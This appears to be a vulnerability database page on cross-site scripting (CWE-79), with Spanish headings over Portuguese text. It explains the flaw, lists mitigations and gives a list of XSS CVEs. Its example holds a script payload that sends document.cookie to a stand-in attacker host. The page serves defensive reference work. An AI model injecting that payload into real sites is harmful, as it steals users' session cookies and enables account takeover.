Fallos del tipo CWE-79

30.527 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-3574MEDIUMExperto Dashboard for WooCommerce <= 1.0.4 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Navigation Font Size' SettingEPSS 0.2%CVE-2026-44667HIGHFaction: Stored XSS in Remediation Verification Attachment Filename Preview RenderingEPSS 0.2%CVE-2026-100522MEDIUMCotonti through 1.0.0 Reflected XSS via message.php lng parameterEPSS 0.2%CVE-2026-103481MEDIUMGwolle Guestbook <= 5.1.1 - Reflected Cross-Site Scripting via 'permalink' ParameterEPSS 0.2%CVE-2026-93880MEDIUMGreenshift <= 13.2.0 - Reflected Cross-Site Scripting via '{{GET:}}' Dynamic PlaceholderEPSS 0.2%CVE-2026-7464MEDIUMWP Google Maps Integration <= 1.2 - Reflected Cross-Site Scripting via 'page' ParameterEPSS 0.2%CVE-2026-4413MEDIUMIBM Concert Software Cross-Site ScriptingEPSS 0.2%CVE-2026-40137MEDIUMCross-Site Scripting (XSS) vulnerability in Business Server Pages Application (TAF_APPLAUNCHER)EPSS 0.2%CVE-2012-20005MEDIUMSocialFit WordPress Plugin 1.2.2 Reflected XSS via popup.php msg ParameterEPSS 0.2%CVE-2026-2266HIGHImproper neutralization of input vulnerability was identified in GitHub Enterprise Server that allowed cross-site scripting via task list content and enabled arbitrary HTML injectionEPSS 0.2%CVE-2021-47967MEDIUMPHP Timeclock 1.04 Multiple Cross-Site Scripting via ParametersEPSS 0.2%CVE-2026-27119MEDIUMSvelte affected by XSS in SSR `<option>` elementEPSS 0.2%CVE-2019-25737MEDIUMLive Chat Unlimited 2.8.3 Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-100179MEDIUMCalculated Fields Form <= 5.5.1.3 - Reflected DOM-Based Cross-Site Scripting via 'x' URL Parameter via setChoices()EPSS 0.2%CVE-2026-8707MEDIUMNS Product icon badge <= 1.2.4 - Reflected Cross-Site Scripting via PHP_SELFEPSS 0.2%CVE-2025-52774HIGHWordPress Infility Global plugin <= 2.15.06 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-4166MEDIUMWavlink WL-NU516U1 login.cgi sub_404F68 cross site scriptingEPSS 0.2%CVE-2026-109673HIGHFrappe ERPNext before 16.12.0 Stored XSS via Crafted Record NamesEPSS 0.2%CVE-2026-6704MEDIUMBlog Settings <= 1.0 - Reflected Cross-Site Scripting via 'page' ParameterEPSS 0.2%CVE-2026-2430MEDIUMAutoptimize <= 3.1.14 - Authenticated (Contributor+) Stored Cross-Site Scripting via Lazy-loaded Image AttributesEPSS 0.2%